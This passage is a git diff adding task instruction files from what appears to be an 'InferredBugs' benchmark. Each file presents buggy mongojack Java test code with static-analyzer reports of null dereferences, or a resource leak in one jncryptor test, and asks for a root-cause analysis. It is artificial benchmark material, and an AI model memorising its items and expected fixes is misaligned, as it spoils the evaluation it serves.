+resource of type `org.cryptonode.jncryptor.AES256JNCryptorInputStream` acquired by call to `new()` at line 334 is not released after line 336.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AES256JNCryptorInputStreamTest.testMarkNotSupported()
+
+### Procedure Id:
+org.cryptonode.jncryptor.AES256JNCryptorInputStreamTest.testMarkNotSupported():void.90adba06d0a1ef40744409994d3c2957
+
+### File:
+src/test/java/org/cryptonode/jncryptor/AES256JNCryptorInputStreamTest.java
+
+### Key:
+AES256JNCryptorInputStreamTest.java|testMarkNotSupported|RESOURCE_LEAK
+
+### Node Key:
+37f4cc7a17f8001fbd4a4245352b84d7
+
+### Hash:
+9c5ca520eb41ddac5240b12070d6b403
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7778/instruction.md b/inferredbugs-7778/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7560399cc210b2edbb158a754ea64705dc7997e9
--- /dev/null
+++ b/inferredbugs-7778/instruction.md
@@ -0,0 +1,281 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mongojack
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2011 VZ Netzwerke Ltd
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.vz.mongodb.jackson;
+
+import org.hamcrest.Matchers;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+import static org.hamcrest.Matchers.instanceOf;
+import static org.hamcrest.Matchers.not;
+import static org.hamcrest.collection.IsCollectionWithSize.hasSize;
+import static org.hamcrest.core.IsEqual.equalTo;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+
+public class TestObjectIdHandling extends MongoDBTestBase {
+
+    @Test
+    public void testObjectIdGenerated() {
+        ObjectIdId object = new ObjectIdId();
+
+        JacksonDBCollection<ObjectIdId, org.bson.types.ObjectId> coll = getCollection(ObjectIdId.class,
+                org.bson.types.ObjectId.class);
+
+        org.bson.types.ObjectId id = coll.insert(object).getSavedId();
+        ObjectIdId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdSaved() {
+        ObjectIdId object = new ObjectIdId();
+        org.bson.types.ObjectId id = new org.bson.types.ObjectId();
+        object._id = id;
+
+        JacksonDBCollection<ObjectIdId, org.bson.types.ObjectId> coll = getCollection(ObjectIdId.class,
+                org.bson.types.ObjectId.class);
+
+        coll.insert(object);
+        ObjectIdId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    public static class ObjectIdId {
+        public org.bson.types.ObjectId _id;
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnStringGenerated() {
+        StringId object = new StringId();
+
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+
+        String id = coll.insert(object).getSavedId();
+        // Check that it's a valid object id
+        assertTrue(org.bson.types.ObjectId.isValid(id));
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnStringSaved() {
+        StringId object = new StringId();
+        String id = new org.bson.types.ObjectId().toString();
+        object._id = id;
+
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+
+        coll.insert(object);
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testRemoveByIdWithObjectId() {
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+        String id = coll.insert(new StringId()).getSavedId();
+        coll.insert(new StringId());
+        assertThat(coll.find().toArray(), hasSize(2));
+        coll.removeById(id);
+        List<StringId> results = coll.find().toArray();
+        assertThat(results, hasSize(1));
+        assertThat(results.get(0)._id, not(Matchers.equalTo(id)));
+    }
+
+    @Test
+    public void testFindOneByIdWithObjectId() {
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+        StringId object = new StringId();
+        net.vz.mongodb.jackson.WriteResult<StringId, String> writeResult = coll.insert(object);
+        assertThat(writeResult.getDbObject().get("_id"), instanceOf(org.bson.types.ObjectId.class));
+        String id = writeResult.getSavedId();
+        assertThat(id, instanceOf(String.class));
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, Matchers.equalTo(id));
+    }
+
+    public static class StringId {
+        @ObjectId
+        public String _id;
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnByteArrayGenerated() {
+        ByteArrayId object = new ByteArrayId();
+
+        JacksonDBCollection<ByteArrayId, byte[]> coll = getCollection(ByteArrayId.class, byte[].class);
+
+        byte[] id = coll.insert(object).getSavedId();
+        // Check that it's a valid object id, should be 12 bytes
+        assertEquals(12, id.length);
+        ByteArrayId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnByteArraySaved() {
+        ByteArrayId object = new ByteArrayId();
+        byte[] id = new org.bson.types.ObjectId().toByteArray();
+        object._id = id;
+
+        JacksonDBCollection<ByteArrayId, byte[]> coll = getCollection(ByteArrayId.class, byte[].class);
+
+        coll.insert(object);
+        ByteArrayId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    public static class ByteArrayId {
+        @ObjectId
+        public byte[] _id;
+    }
+
+    @Test
+    public void testCollectionOfObjectIds() {
+        ObjectIdCollection object = new ObjectIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get(), org.bson.types.ObjectId.get());
+
+        JacksonDBCollection<ObjectIdCollection, String> coll = getCollection(ObjectIdCollection.class, String.class);
+        coll.insert(object);
+
+        ObjectIdCollection result = coll.findOneById("id");
+        assertThat(result.list, equalTo(object.list));
+    }
+
+    public static class ObjectIdCollection {
+        public String _id;
+        public List<org.bson.types.ObjectId> list;
+    }
+
+    @Test
+    public void testCollectionOfObjectIdStrings() {
+        StringIdCollection object = new StringIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get().toString(), org.bson.types.ObjectId.get().toString());
+
+        JacksonDBCollection<StringIdCollection, String> coll = getCollection(StringIdCollection.class, String.class);
+        coll.insert(object);
+
+        StringIdCollection result = coll.findOneById("id");
+        assertThat(result.list, equalTo(object.list));
+    }
+
+    public static class StringIdCollection {
+        public String _id;
+        @ObjectId
+        public List<String> list;
+    }
+
+    @Test
+    public void testCollectionOfObjectIdByteArrays() {
+        ByteArrayIdCollection object = new ByteArrayIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get().toByteArray(), org.bson.types.ObjectId.get().toByteArray());
+
+        JacksonDBCollection<ByteArrayIdCollection, String> coll = getCollection(ByteArrayIdCollection.class, String.class);
+        coll.insert(object);
+
+        ByteArrayIdCollection result = coll.findOneById("id");
+        assertThat(result.list, hasSize(2));
+        assertThat(result.list.get(0), equalTo(object.list.get(0)));
+        assertThat(result.list.get(1), equalTo(object.list.get(1)));
+    }
+
+    public static class ByteArrayIdCollection {
+        public String _id;
+        @ObjectId
+        public List<byte[]> list;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `result` last assigned on line 110 could be null and is dereferenced at line 111.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestObjectIdHandling.testFindOneByIdWithObjectId()
+
+### Procedure Id:
+net.vz.mongodb.jackson.TestObjectIdHandling.testFindOneByIdWithObjectId():void.c249c98a5ed3090eabd2121f91bde2b6
+
+### File:
+src/test/java/net/vz/mongodb/jackson/TestObjectIdHandling.java
+
+### Key:
+TestObjectIdHandling.java|testFindOneByIdWithObjectId|NULL_DEREFERENCE
+
+### Node Key:
+2acc12e05b0902ef2ca0b1741f78fa6e
+
+### Hash:
+3f7fa7014d0f22fca3aaf58b60b82343
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7779/instruction.md b/inferredbugs-7779/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7f5d338beb3ab78a432c6672f0457b65c78374af
--- /dev/null
+++ b/inferredbugs-7779/instruction.md
@@ -0,0 +1,281 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mongojack
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2011 VZ Netzwerke Ltd
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.vz.mongodb.jackson;
+
+import org.hamcrest.Matchers;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+import static org.hamcrest.Matchers.instanceOf;
+import static org.hamcrest.Matchers.not;
+import static org.hamcrest.collection.IsCollectionWithSize.hasSize;
+import static org.hamcrest.core.IsEqual.equalTo;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+
+public class TestObjectIdHandling extends MongoDBTestBase {
+
+    @Test
+    public void testObjectIdGenerated() {
+        ObjectIdId object = new ObjectIdId();
+
+        JacksonDBCollection<ObjectIdId, org.bson.types.ObjectId> coll = getCollection(ObjectIdId.class,
+                org.bson.types.ObjectId.class);
+
+        org.bson.types.ObjectId id = coll.insert(object).getSavedId();
+        ObjectIdId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdSaved() {
+        ObjectIdId object = new ObjectIdId();
+        org.bson.types.ObjectId id = new org.bson.types.ObjectId();
+        object._id = id;
+
+        JacksonDBCollection<ObjectIdId, org.bson.types.ObjectId> coll = getCollection(ObjectIdId.class,
+                org.bson.types.ObjectId.class);
+
+        coll.insert(object);
+        ObjectIdId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    public static class ObjectIdId {
+        public org.bson.types.ObjectId _id;
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnStringGenerated() {
+        StringId object = new StringId();
+
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+
+        String id = coll.insert(object).getSavedId();
+        // Check that it's a valid object id
+        assertTrue(org.bson.types.ObjectId.isValid(id));
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnStringSaved() {
+        StringId object = new StringId();
+        String id = new org.bson.types.ObjectId().toString();
+        object._id = id;
+
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+
+        coll.insert(object);
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testRemoveByIdWithObjectId() {
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+        String id = coll.insert(new StringId()).getSavedId();
+        coll.insert(new StringId());
+        assertThat(coll.find().toArray(), hasSize(2));
+        coll.removeById(id);
+        List<StringId> results = coll.find().toArray();
+        assertThat(results, hasSize(1));
+        assertThat(results.get(0)._id, not(Matchers.equalTo(id)));
+    }
+
+    @Test
+    public void testFindOneByIdWithObjectId() {
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+        StringId object = new StringId();
+        net.vz.mongodb.jackson.WriteResult<StringId, String> writeResult = coll.insert(object);
+        assertThat(writeResult.getDbObject().get("_id"), instanceOf(org.bson.types.ObjectId.class));
+        String id = writeResult.getSavedId();
+        assertThat(id, instanceOf(String.class));
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, Matchers.equalTo(id));
+    }
+
+    public static class StringId {
+        @ObjectId
+        public String _id;
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnByteArrayGenerated() {
+        ByteArrayId object = new ByteArrayId();
+
+        JacksonDBCollection<ByteArrayId, byte[]> coll = getCollection(ByteArrayId.class, byte[].class);
+
+        byte[] id = coll.insert(object).getSavedId();
+        // Check that it's a valid object id, should be 12 bytes
+        assertEquals(12, id.length);
+        ByteArrayId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnByteArraySaved() {
+        ByteArrayId object = new ByteArrayId();
+        byte[] id = new org.bson.types.ObjectId().toByteArray();
+        object._id = id;
+
+        JacksonDBCollection<ByteArrayId, byte[]> coll = getCollection(ByteArrayId.class, byte[].class);
+
+        coll.insert(object);
+        ByteArrayId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    public static class ByteArrayId {
+        @ObjectId
+        public byte[] _id;
+    }
+
+    @Test
+    public void testCollectionOfObjectIds() {
+        ObjectIdCollection object = new ObjectIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get(), org.bson.types.ObjectId.get());
+
+        JacksonDBCollection<ObjectIdCollection, String> coll = getCollection(ObjectIdCollection.class, String.class);
+        coll.insert(object);
+
+        ObjectIdCollection result = coll.findOneById("id");
+        assertThat(result.list, equalTo(object.list));
+    }
+
+    public static class ObjectIdCollection {
+        public String _id;
+        public List<org.bson.types.ObjectId> list;
+    }
+
+    @Test
+    public void testCollectionOfObjectIdStrings() {
+        StringIdCollection object = new StringIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get().toString(), org.bson.types.ObjectId.get().toString());
+
+        JacksonDBCollection<StringIdCollection, String> coll = getCollection(StringIdCollection.class, String.class);
+        coll.insert(object);
+
+        StringIdCollection result = coll.findOneById("id");
+        assertThat(result.list, equalTo(object.list));
+    }
+
+    public static class StringIdCollection {
+        public String _id;
+        @ObjectId
+        public List<String> list;
+    }
+
+    @Test
+    public void testCollectionOfObjectIdByteArrays() {
+        ByteArrayIdCollection object = new ByteArrayIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get().toByteArray(), org.bson.types.ObjectId.get().toByteArray());
+
+        JacksonDBCollection<ByteArrayIdCollection, String> coll = getCollection(ByteArrayIdCollection.class, String.class);
+        coll.insert(object);
+
+        ByteArrayIdCollection result = coll.findOneById("id");
+        assertThat(result.list, hasSize(2));
+        assertThat(result.list.get(0), equalTo(object.list.get(0)));
+        assertThat(result.list.get(1), equalTo(object.list.get(1)));
+    }
+
+    public static class ByteArrayIdCollection {
+        public String _id;
+        @ObjectId
+        public List<byte[]> list;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `result` last assigned on line 73 could be null and is dereferenced at line 74.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestObjectIdHandling.testObjectIdAnnotationOnStringGenerated()
+
+### Procedure Id:
+net.vz.mongodb.jackson.TestObjectIdHandling.testObjectIdAnnotationOnStringGenerated():void.c7664f6c0407da894fdae33d06d1a744
+
+### File:
+src/test/java/net/vz/mongodb/jackson/TestObjectIdHandling.java
+
+### Key:
+TestObjectIdHandling.java|testObjectIdAnnotationOnStringGenerated|NULL_DEREFERENCE
+
+### Node Key:
+2acc12e05b0902ef2ca0b1741f78fa6e
+
+### Hash:
+8435e842189410f0050957a844d7f42d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7782/instruction.md b/inferredbugs-7782/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a3ad07db0c82805b80f24db803f93309f34770e2
--- /dev/null
+++ b/inferredbugs-7782/instruction.md
@@ -0,0 +1,320 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mongojack
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2011 VZ Netzwerke Ltd
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.vz.mongodb.jackson;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static org.hamcrest.collection.IsCollectionWithSize.hasSize;
+import static org.hamcrest.core.IsEqual.equalTo;
+import static org.hamcrest.core.IsNull.notNullValue;
+import static org.junit.Assert.assertThat;
+
+public class TestDBRefHandling extends MongoDBTestBase {
+
+    @Test
+    public void simpleDbRefShouldBeSavedAsDbRef() {
+        JacksonDBCollection<Owner, String> coll = getCollection(Owner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class);
+
+        refColl.insert(new Referenced("hello", 10));
+        String id = coll.insert(new Owner(new DBRef<Referenced, String>("hello", refColl.getName()))).getSavedId();
+
+        Owner saved = coll.findOneById(id);
+        assertThat(saved.ref, notNullValue());
+        assertThat(saved.ref.getId(), equalTo("hello"));
+        assertThat(saved.ref.getCollectionName(), equalTo(refColl.getName()));
+
+        // Try loading it
+        Referenced ref = saved.ref.fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("hello"));
+        assertThat(ref.i, equalTo(10));
+    }
+
+    @Test
+    public void dbRefWithObjectIdShouldBeSavedAsDbRef() {
+        JacksonDBCollection<ObjectIdOwner, String> coll = getCollection(ObjectIdOwner.class, String.class);
+        JacksonDBCollection<ObjectIdReferenced, byte[]> refColl = getCollection(ObjectIdReferenced.class, byte[].class);
+
+        byte[] refId = refColl.insert(new ObjectIdReferenced(10)).getSavedId();
+        String id = coll.insert(new ObjectIdOwner(new DBRef<ObjectIdReferenced, byte[]>(refId, refColl.getName()))).getSavedId();
+
+        ObjectIdOwner saved = coll.findOneById(id);
+        assertThat(saved.ref, notNullValue());
+        assertThat(saved.ref.getId(), equalTo(refId));
+        assertThat(saved.ref.getCollectionName(), equalTo(refColl.getName()));
+
+        // Try loading it
+        ObjectIdReferenced ref = saved.ref.fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo(refId));
+        assertThat(ref.i, equalTo(10));
+    }
+
+    @Test
+    public void testUsingMongoCollectionAnnotation() {
+        JacksonDBCollection<Owner, String> coll = getCollection(Owner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class, "referenced");
+
+        refColl.insert(new Referenced("hello", 10));
+        String id = coll.insert(new Owner(new DBRef<Referenced, String>("hello", Referenced.class))).getSavedId();
+
+        Owner saved = coll.findOneById(id);
+        assertThat(saved.ref, notNullValue());
+        assertThat(saved.ref.getId(), equalTo("hello"));
+        assertThat(saved.ref.getCollectionName(), equalTo("referenced"));
+
+        // Try loading it
+        Referenced ref = saved.ref.fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("hello"));
+        assertThat(ref.i, equalTo(10));
+    }
+
+    public static class Owner {
+        public Owner(DBRef<Referenced, String> ref) {
+            this.ref = ref;
+        }
+
+        public Owner() {
+        }
+
+        @ObjectId
+        public String _id;
+        public DBRef<Referenced, String> ref;
+    }
+
+    @MongoCollection(name = "referenced")
+    public static class Referenced {
+        public Referenced(String _id, int i) {
+            this._id = _id;
+            this.i = i;
+        }
+
+        public Referenced() {
+        }
+
+        public String _id;
+        public int i;
+    }
+
+    public static class ObjectIdOwner {
+        public ObjectIdOwner(DBRef<ObjectIdReferenced, byte[]> ref) {
+            this.ref = ref;
+        }
+
+        public ObjectIdOwner() {
+        }
+
+        @ObjectId
+        public String _id;
+        @ObjectId
+        public DBRef<ObjectIdReferenced, byte[]> ref;
+    }
+
+    public static class ObjectIdReferenced {
+        public ObjectIdReferenced(int i) {
+            this.i = i;
+        }
+
+        public ObjectIdReferenced() {
+        }
+
+        @ObjectId
+        public byte[] _id;
+        public int i;
+    }
+
+    @Test
+    public void collectionOfDbRefsShouldBeSavedAsDbRefs() {
+        JacksonDBCollection<CollectionOwner, String> coll = getCollection(CollectionOwner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class, "referenced");
+
+        refColl.insert(new Referenced("hello", 10));
+        refColl.insert(new Referenced("world", 20));
+
+        CollectionOwner owner = new CollectionOwner();
+        owner.list = Arrays.asList(new DBRef<Referenced, String>("hello", refColl.getName()), new DBRef<Referenced, String>("world", refColl.getName()));
+        owner._id = "foo";
+        coll.insert(owner);
+
+        CollectionOwner saved = coll.findOneById("foo");
+        assertThat(saved.list, notNullValue());
+        assertThat(saved.list, hasSize(2));
+        assertThat(saved.list.get(0).getId(), equalTo("hello"));
+        assertThat(saved.list.get(0).getCollectionName(), equalTo(refColl.getName()));
+        assertThat(saved.list.get(1).getId(), equalTo("world"));
+        assertThat(saved.list.get(1).getCollectionName(), equalTo(refColl.getName()));
+
+        // Try loading them
+        Referenced ref = saved.list.get(0).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("hello"));
+        assertThat(ref.i, equalTo(10));
+
+        ref = saved.list.get(1).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("world"));
+        assertThat(ref.i, equalTo(20));
+    }
+
+    @Test
+    public void fetchCollectionOfDBRefsShouldReturnRightResults() {
+        JacksonDBCollection<CollectionOwner, String> coll = getCollection(CollectionOwner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class, "referenced");
+
+        refColl.insert(new Referenced("hello", 10));
+        refColl.insert(new Referenced("world", 20));
+
+        CollectionOwner owner = new CollectionOwner();
+        owner.list = Arrays.asList(new DBRef<Referenced, String>("hello", refColl.getName()), new DBRef<Referenced, String>("world", refColl.getName()));
+        owner._id = "foo";
+        coll.insert(owner);
+
+        CollectionOwner saved = coll.findOneById("foo");
+        List<Referenced> fetched = coll.fetch(saved.list);
+        assertThat(fetched, hasSize(2));
+        assertThat(fetched.get(0)._id, equalTo("hello"));
+        assertThat(fetched.get(0).i, equalTo(10));
+        assertThat(fetched.get(1)._id, equalTo("world"));
+        assertThat(fetched.get(1).i, equalTo(20));
+    }
+
+    public static class CollectionOwner {
+        public String _id;
+        public List<DBRef<Referenced, String>> list;
+    }
+
+    @Test
+    public void collectionOfObjectIdDbRefsShouldBeSavedAsObjectIdDbRefs() {
+        JacksonDBCollection<ObjectIdCollectionOwner, String> coll = getCollection(ObjectIdCollectionOwner.class, String.class);
+        JacksonDBCollection<ObjectIdReferenced, byte[]> refColl = getCollection(ObjectIdReferenced.class, byte[].class, "referenced");
+
+        byte[] refId1 = refColl.insert(new ObjectIdReferenced(10)).getSavedId();
+        byte[] refId2 = refColl.insert(new ObjectIdReferenced(20)).getSavedId();
+
+        ObjectIdCollectionOwner owner = new ObjectIdCollectionOwner();
+        owner.list = Arrays.asList(new DBRef<ObjectIdReferenced, byte[]>(refId1, refColl.getName()), new DBRef<ObjectIdReferenced, byte[]>(refId2, refColl.getName()));
+        owner._id = "foo";
+        coll.insert(owner);
+
+        ObjectIdCollectionOwner saved = coll.findOneById("foo");
+        assertThat(saved.list, notNullValue());
+        assertThat(saved.list, hasSize(2));
+        assertThat(saved.list.get(0).getId(), equalTo(refId1));
+        assertThat(saved.list.get(0).getCollectionName(), equalTo(refColl.getName()));
+        assertThat(saved.list.get(1).getId(), equalTo(refId2));
+        assertThat(saved.list.get(1).getCollectionName(), equalTo(refColl.getName()));
+
+
+        // Try loading them
+        ObjectIdReferenced ref = saved.list.get(0).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo(refId1));
+        assertThat(ref.i, equalTo(10));
+
+        ref = saved.list.get(1).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo(refId2));
+        assertThat(ref.i, equalTo(20));
+    }
+
+    public static class ObjectIdCollectionOwner {
+        public String _id;
+        @ObjectId
+        public List<DBRef<ObjectIdReferenced, byte[]>> list;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `ref` last assigned on line 86 could be null and is dereferenced at line 88.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestDBRefHandling.testUsingMongoCollectionAnnotation()
+
+### Procedure Id:
+net.vz.mongodb.jackson.TestDBRefHandling.testUsingMongoCollectionAnnotation():void.e095220ffb1eb9766119b119aed8f322
+
+### File:
+src/test/java/net/vz/mongodb/jackson/TestDBRefHandling.java
+
+### Key:
+TestDBRefHandling.java|testUsingMongoCollectionAnnotation|NULL_DEREFERENCE
+
+### Node Key:
+c3e9b7adf0862874433e40544c2a4023
+
+### Hash:
+dbcafd7fde179004c6b6f7ac4ad26893
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7783/instruction.md b/inferredbugs-7783/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..17cbe550e3fc525aa55c9ccfdd8f248bdad72b4c
--- /dev/null
+++ b/inferredbugs-7783/instruction.md
@@ -0,0 +1,281 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mongojack
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2011 VZ Netzwerke Ltd
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.vz.mongodb.jackson;
+
+import org.hamcrest.Matchers;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+import static org.hamcrest.Matchers.instanceOf;
+import static org.hamcrest.Matchers.not;
+import static org.hamcrest.collection.IsCollectionWithSize.hasSize;
+import static org.hamcrest.core.IsEqual.equalTo;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+
+public class TestObjectIdHandling extends MongoDBTestBase {
+
+    @Test
+    public void testObjectIdGenerated() {
+        ObjectIdId object = new ObjectIdId();
+
